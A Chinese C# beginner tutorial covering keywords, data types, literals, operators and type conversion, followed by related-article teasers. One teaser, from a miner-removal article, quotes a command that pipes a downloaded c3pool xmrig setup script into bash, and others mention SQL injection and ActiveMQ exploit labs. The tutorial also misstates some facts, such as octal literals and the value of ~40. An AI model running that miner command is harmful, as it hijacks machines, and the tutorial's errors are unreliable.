系统学c#:2、基础语法(关键字、标识符、数据类型、变量、常量、字面量、运算符、类型转换)

关键字:

关键字是编程语言中具有特殊含义的单词或符号,它们通常被编程语言用于表示特定的语法结构、操作或约定。在C#中,关键字具有特定的语法和功能,用于定义语言的基本结构和规则。

以下是一些C#中常用的关键字及其功能:(一开始了解就好随着学习的深入慢慢会频繁的使用关键字,自然而然地就记住了)

  1. class:用于定义类。
  2. struct:用于定义结构。
  3. interface:用于定义接口。
  4. enum:用于定义枚举。
  5. namespace:用于定义命名空间。
  6. using:用于引入命名空间。
  7. publicprivateprotectedinternal:用于定义访问修饰符。
  8. static:用于定义静态成员。
  9. readonly:用于定义只读字段。
  10. const:用于定义常量。
  11. abstract:用于定义抽象类或抽象成员。
  12. virtualoverride:用于定义虚方法和重写方法。
  13. new:用于隐藏成员或指定新的实现。
  14. basethis:用于引用基类或当前实例。
  15. asis:用于类型转换和类型判断。
  16. typeofnameof:用于获取类型或成员的信息。
  17. ifelseswitchcase:用于条件控制。
  18. forforeachwhiledo:用于循环控制。
  19. trycatchfinally:用于异常处理。
  20. returnbreakcontinue:用于控制流程。

标识符:

标识符是用来为类、变量、函数或任何其他自定义内容命名。C# 中标识符的定义规则如下所示:

字面量在编程中常用于初始化变量、常量或数据结构的固定值,它们在代码中是静态不变的,不会在程序运行过程中改变。

  • 标识符必须以英文字母开头,后面可以跟英文字母、数字0-9或下划线_

  • 标识符中的第一个字符不能是数字;

  • 标识符中不能包含空格或特殊符号,例如? - + ! @ # % ^ & * ( ) [ ] { } . ; : " ' / \,但是可以使用下划线_

  • 标识符不能是 C# 关键字

  • 变量:

  • 变量是编程中用来存储和表示数据的一个名称,它可以是各种数据类型(如整数、浮点数、字符串等)的容器。变量可以是各种数据类型,包括整数类型(intlong等)、浮点数类型(floatdouble等)、字符类型(char)、布尔类型(bool)、字符串类型(string)等。
  • 声明语法:数据类型 变量名列表(可以一个或个多变量名,变量名之间用逗号隔开)
  • int age; // 声明一个整数类型的变量
    age = 25; // 初始化变量,赋值为25
    int age =25 //定义且声明
    
    double height = 175.5; // 声明并初始化一个双精度浮点数类型的变量
    

    Console类提供的ReadLine()方法可以接收用户输入,将其输入内容存储到变量中

  •  int a=0;
     Console.WriteLine("请输入变量a的值:");
     a =int.Parse( Console.ReadLine());//将字符串转化为int类型
     Console.WriteLine("变量a的值是:"+a);

    数据类型

  • 数值类型:
  • 引用类型:
  • 在C#中,引用类型是一种数据类型,它们存储的是对象的引用(内存地址),而不是对象本身的值。引用类型在堆内存中分配空间,而变量本身存储的是指向对象的引用。这与值类型(如整数、浮点数等)不同,值类型直接存储数据的值。C# 中内置的引用类型包括 Object(对象)、Dynamic(动态)和 string(字符串)。
  • 对象类型(如 object):是一种引用类型,它可以表示任何其他类型的对象。在C#中,所有类都是 object 类的派生类,因此可以将任何类的实例赋值给 object 类型的变量。
  • object obj = "Hello, world!"; // 将字符串赋值给对象类型变量
    object obj2 = 42; // 将整数赋值给对象类型变量
    

    动态类型(如 dynamic):也是一种引用类型,但它在编译时不进行类型检查,而是在运行时根据实际情况推断类型。使用动态类型可以实现更灵活的编程,但也可能导致运行时类型错误。

  • 字符串类型:
  • dynamic dynamicVar = 10; // 动态类型变量,可以赋值为任意类型
    dynamicVar = "Hello, dynamic!"; // 现在是字符串类型
    

    字符串类型的变量允许您将一个字符串赋值给这个变量,字符串类型需要通过 string 类来创建,string 类是 System.String 类的别名,它是从对象(Object)类型中派生的。

  • 常量

  • 与变量相对应的概念是常量,常量的值在程序运行期间不可改变,使用 const 关键字进行声明。

  • const double PI = 3.14159; // 声明一个常量PI,并初始化为3.14159
    

    字面量(数据在程序中的书写格式)

    编程中表示固定值的符号或文字,其值在代码中是固定不变的。

  • 表示整数值,可以是十进制、十六进制、八进制或二进制。

    • 十进制:int x = 123;
    • 十六进制:int y = 0xFF;
    • 八进制:int z = 0123;
    • 二进制:int w = 0b1010;
  • 浮点数字面量:表示浮点数值,可以是单精度浮点数(float)或双精度浮点数(double)。

    • 单精度浮点数:float f = 3.14f;(若不加f,默认数值为double)
    • 双精度浮点数:double d = 3.14;
  • 字符字面量:表示单个字符,使用单引号括起来。

    • char c = 'A';
  • 字符串字面量:表示字符串,使用双引号括起来。

    • string s = "Hello, world!";
  • 布尔字面量:表示布尔值,可以是true或false。

    • bool b1 = true;
    • bool b2 = false;
  • 空字面量:表示空引用或空值,使用关键字null

    • object obj = null;
  • 枚举字面量:表示枚举类型的固定值。

  • 十进制字面量:表示十进制数值,使用关键字decimal

    • decimal d = 123.45m;
  • 时间和日期字面量:表示时间和日期,使用关键字DateTime

    • DateTime dt = DateTime.Now
  • 空数组和空集合字面量:表示空数组或空集合。
    • 空数组:int[] arr = new int[0];
    • 空集合:List<int> list = new List<int>(); 
int decimalNumber = 123; // 十进制整数字面量
int hexadecimalNumber = 0xFF; // 十六进制整数字面量
int octalNumber = 0123; // 八进制整数字面量
int binaryNumber = 0b1010; // 二进制整数字面量
float floatNumber = 3.14f; // 单精度浮点数字面量
double doubleNumber = 3.14; // 双精度浮点数字面量
char character = 'A'; // 单个字符字面量
string message = "Hello, world!"; // 字符串字面量
bool trueValue = true; // 布尔字面量true
bool falseValue = false; // 布尔字面量false
object nullObject = null; // 空引用字面量
enum Color { Red, Green, Blue }; // 枚举类型定义
Color colorValue = Color.Red; // 枚举类型的字面量
decimal decimalValue = 123.45m; // 十进制浮点数字面量
DateTime currentDate = DateTime.Now; // 当前日期和时间的字面量
int[] emptyArray = new int[0]; // 空数组字面量
List<int> emptyList = new List<int>(); // 空集合字面量

运算符

1、算术运算符

算术运算符就是完成特定算术运算的符号

 int a = 30, b = 20;
 int c = a + b;  //求和  50
 int d = a - b;  //差   10
 int e = a * b; //积  600
 int f = a / b; //商 整除 1
 int g = a % b; //取模 整除后取余  10
 int a1 = a++; //自增  ++在后,先赋值,再自增,
 int b1 = --b;//--在前,先自减1,再赋值

2、关系运算符

关系运算符用来比较运算符左右两边的操作数

3、逻辑运算符

C#中支持的逻辑运算符有:&& || !

4、位运算符

位运算符用来对二进制位进行操作

int a = 40; //二进制 0010 1000
int b = 13; //二进制 0000 1101
int c = a & b; //0000 1000  --8
int d = a | b; //0010 1101  --45
int e = a ^ b; //0010 0101   --37
int f = ~a;    //1101 0111  --41
//位移
int g = a << 2; //1010 0000  --160  左移2位
int h = b >> 2; //0000 0011  --3    右移2位

5、赋值运算符

赋值运算符顾名思义就是用来为变量赋值的,最常用的就是 =

6、其它运算符

获取数据类型的大小 (字节数)
int intSize =sizeof(int); //4
int floatSize=sizeof(float); //4
int decimalSize=sizeof(decimal);//16
int enumSize = sizeof(RoleType);//4
int charSize=sizeof(char);//2
获取指定的类型
Type typeInt= typeof(int);
Type typeString= typeof(string);
Type typeFloat= typeof(float);
Type  typeRoleType=typeof(RoleType);
Type typeStudent= typeof(Student);
Type typeTeacher= typeof(Teacher);

 ?:  三目运算符
 int a = 12;
 //如果a大于18,grade="A",否则grade="B"
 string grade = a > 18 ? "A" : "B";
 
is 判断对象是否为某一类型
object a = 12;
if(a is int)
{
    Console.WriteLine("a是整型");
}
Teacher tea= new Teacher();
if(tea is Teacher)
{
    Console.WriteLine("tea是Teacher类型");
}

  as 强制转换
  object obj = "123";
  string str=obj as string;

类型转换

类型转换是将一个数据类型的值转换为另一个数据类型的过程。类型转换分为两种:隐式类型转换和显式类型转换。

隐式转换
  • 隐式类型转换是指编译器可以自动将一种数据类型转换为另一种数据类型,而无需显式指定转换操作符。
  • 隐式类型转换是由 C# 以类型安全的方式执行的,转换的过程中不会导致数据丢失。 例如从较小的整数类型(例如 int)转换到较大的整数类型(例如 long),从派生类转换为基类。 
int intValue = 10;
double doubleValue = intValue; // 隐式类型转换,int转换为double
 显式转换

显式类型转换也叫强制类型转换,这种转换需要使用(type)value的形式或者预定义函数显式的完成,显式转换需要用户明确的指定要转换的类型,而且在转换的过程中可能会造成数据丢失

常应用于:大范围转小范围 、浮点型转整型、浮点型与decimal 、数值字符串转值类型

double doubleValue = 10.5;
int intValue = (int)doubleValue; // 显式类型转换,double转换为int

c#内置的类型转换方法:  

例如:

Parse 方法:用于将字符串转换为其他基本数据类型,如整数、浮点数等。 

string strNumber = "123";
int intNumber = int.Parse(strNumber); // 将字符串转换为整数
double doubleNumber = double.Parse("3.14"); // 将字符串转换为浮点数

Convert.ToXxx 方法:用于将一种类型转换为另一种类型,如将字符串转换为整数、将对象转换为字符串等。

string strNumber = "42";
int intNumber = Convert.ToInt32(strNumber); // 将字符串转换为整数
string strValue = Convert.ToString(3.14); // 将浮点数转换为字符串

类型转换运算符:可以使用强制转换运算符(如 (int)(double))进行显式类型转换。

double doubleValue = 3.14;
int intValue = (int)doubleValue; // 将double类型转换为int类型

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/547537.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【计算机毕业设计】游戏售卖网站——后附源码

&#x1f389;**欢迎来到琛哥的技术世界&#xff01;**&#x1f389; &#x1f4d8; 博主小档案&#xff1a; 琛哥&#xff0c;一名来自世界500强的资深程序猿&#xff0c;毕业于国内知名985高校。 &#x1f527; 技术专长&#xff1a; 琛哥在深度学习任务中展现出卓越的能力&a…

MybatisPlus——自定义Sql

MybatisPlus——自定义Sql 自定义sql mybatisplus自定义sql并不是全部进行自定义的&#xff0c;我们可以利用MybatisPlus的Wrapper来构建复杂的Where条件&#xff0c;然后自己定义sql语句中剩下的部分。 自定义sql案例 以为例&#xff1a;将id在指定范围&#xff08;1&…

搜索树, 哈希表

目录 一. 搜索树 1.1 概念 1.2 操作1 查找 1.3 操作2 插入 1.4 操作3 删除 1.5 性能分析 1.6 和 java 类集的关系 二.哈希表 2.1 概念 2.2 哈希冲突 2.3常见哈希函数 2.4 负载因子 2.5 闭散列 2.6 开散列 2.7 哈希表的实现 push 添加数据 getVal() 获取key对应的v…

SQL注入sqli_labs靶场第十七题

B站教学视频很详细 【sql注入之sqli-labs系列教程(less11-17)】sqli-labs_33_less17_哔哩哔哩_bilibili 我将SQL语句在页面中显示&#xff0c;以便更深入学习。 1.寻找注入点 修改密码的一个页面。 输入正确的账号密码&#xff0c;可以看到&#xff0c;账号为admin&#xf…

【学习笔记PPT摘录】lan.289.24.4-15

1.纪念品分组.双指针-01 #include <bits/stdc.h> using namespace std;int A[40000];// 纪念品价值均衡// 把购来的纪念品进行分组 之和不超过整数 w// 每组只能有两个纪念品 希望分组的数目要少// 贪心的策略就是 每个较大的数找到一个 最大的较小的数使其能够小于w// n…

【安全】查杀linux上c3pool挖矿病毒xmrig

挖矿平台&#xff1a;猫池 病毒来源安装脚本 cat /root/c3pool/config.jsoncrontab -r cd /root/c3poolcurl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALLen_US.UTF-8 bash -s 44SLpuV4U7gB6RNZMCweHxWug7b1YUir4jLr3RBaVX33Qxj…

[docker] 核心知识 - 概念和运行

[docker] 核心知识 - 概念和运行 之前 docker 学了个开头就去搞项目去了&#xff0c;不过项目也开展了好久了&#xff0c;前端差不多吃透了&#xff0c;有些新功能需要用 docker 和 k8s……是时候重新学习一下了。 这一部分简单的过一下概念和讲一下怎么运行 docker 镜像和启…

[Linux][基础IO][二][缓冲区][理解文件系统]详细解读

目录 1.缓冲区0.缓冲区的刷新策略1.何为缓冲区&#xff1f;2.总结 2.理解文件系统0.文件元数据1.了解文件系统 --> 理解inode2.软硬链接 1.缓冲区 0.缓冲区的刷新策略 一般情况 立即刷新行刷新(行缓冲)满刷新(全缓冲) 特殊情况 用户强制刷新(fflush)进程退出 所有的设备&a…

JavaSE图书管理系统实战

代码仓库地址&#xff1a;Java图书管理系统 1.前言 该项目将JavaSE的封装继承多态三大特性&#xff0c;使用了大量面向对象的操作&#xff0c;有利于巩固理解 &#xff08;1&#xff09;实现效果 2.实现步骤 第一步先把框架搭建起来&#xff0c;即创建出人&#xff1a;管理员和…

《系统架构设计师教程(第2版)》第9章-软件可靠性基础知识-04-软件可靠性设计

文章目录 1. 容错设计技术1.1 恢复块设计1.2 N版本程序设计1.3 冗余设计 2. 检错技术3. 降低复杂度设计4. 系统配置中的容错技术4.1 双机热备技术4.1.1 双机热备模式4.1.2 双机互备模式4.1.3 双机双工 4.2 服务器集群技术 1. 容错设计技术 1.1 恢复块设计 恢复块设计 选择一组…

华为框式交换机S12700E系列配置CSS集群

搭建集群环境 a.为两台交换机上电&#xff0c;按照数据规划分别对两台框式交换机进行配置 <HUAWEI> system-view [HUAWEI] sysname Switch1 [Switch1] set css id 1 [Switch1] set css priority 150 //框1的集群优先级配置为150 [Switch1] interface css-port 1 [Sw…

MinGW与Cygwin傻傻分不清楚

MinGW&#xff08;Minimalist GNU for Windows&#xff09;和Cygwin是两个在Windows平台上广泛使用的开发工具&#xff0c;它们各自具有不同的特点和适用场景。 MinGW 的主要方向是让GCC的Windows移植版能使用Win32API来编程。MinGW几乎支持所有的Win32API。 Cygwin 的主要方…

使用 Rust 和 DDD 构建 API 服务器

Introduction 介绍 I tried implementing an API server using Rust and the Axum framework. 我尝试使用 Rust 和 Axum 框架实现 API 服务器。 Target Audience 本文受众 Those who want to implement an API server with Rust. 那些想要用 Rust 实现 API 服务器的人。Those w…

2024年山东三支一扶考试报名照片要求

2024年山东三支一扶考试报名照片要求

(九)C++自制植物大战僵尸游戏自定义对话框的实现

植物大战僵尸游戏开发教程专栏地址http://t.csdnimg.cn/m0EtD 对话框在游戏的交互中非常重要。在游戏中&#xff0c;对话框不仅可以提醒用户下达任务指令&#xff0c;而且还可以让用户进行操作&#xff0c;自定义游戏中的各种属性。对话框在游戏的交互中非常常见且大量使用。Co…

开源相机管理库Aravis例程学习(三)——注册回调multiple-acquisition-callback

开源相机管理库Aravis例程学习&#xff08;三&#xff09;——回调multiple-acquisition-callback 简介例程代码arv_camera_create_streamArvStreamCallbackTypeArvStreamCallback 简介 本文针对官方例程中的&#xff1a;02-multiple-acquisition-callback做简单的讲解。 ara…

[已解决]问题:root.users.hdfs is not a leaf queue

问题&#xff1a;root.users.hdfs is not a leaf queue CDH集群报错&#xff1a; Exception in thread “main” org.apache.hadoop.yarn.exceptions.YarnException: Failed to submit application_1713149630679_0005 to YARN : root.users.hdfs is not a leaf queue 思路 …

ActiveMQ 任意文件上传漏洞复现

一、使用弱口令登陆 ​ 访问 http://ip:8161/admin/ 进入admin登陆页面&#xff0c;使用弱口令登陆&#xff0c;账号密码皆为 admin&#xff0c;登陆成功后&#xff0c;headers中会出现验证信息 ​ 如&#xff1a; Authorization: Basic YWRtaW46YWRtaW4 # 二、利用PUT协议上…

个人投资理财入门

1.简单而言&#xff0c;所谓个人理财&#xff0c;是为了实现个人的人生目标和理想而制订、安排、实施和管理一个各方面总体协调的财务计划的过程。更加直白点儿说&#xff0c;理财就是打理钱财&#xff0c;就是赚钱、省钱、花钱之道。 2.根据经济学上的定义&#xff0c;投资是指…

Unity AR开发环境搭建

在这个项目中使用 Unity 2022.3.19。 AR项目建议使用2022.3及以上版本。 创建一个 3D URP 项目并将其命名为 Magicbox-AR。 注意&#xff1a;如果计划发布 iOS 版 AR 项目&#xff0c;则必须有权使用 Mac 进行最终构建。Windows 计算机无法为 iOS 设备构建最终产品。 项目创建…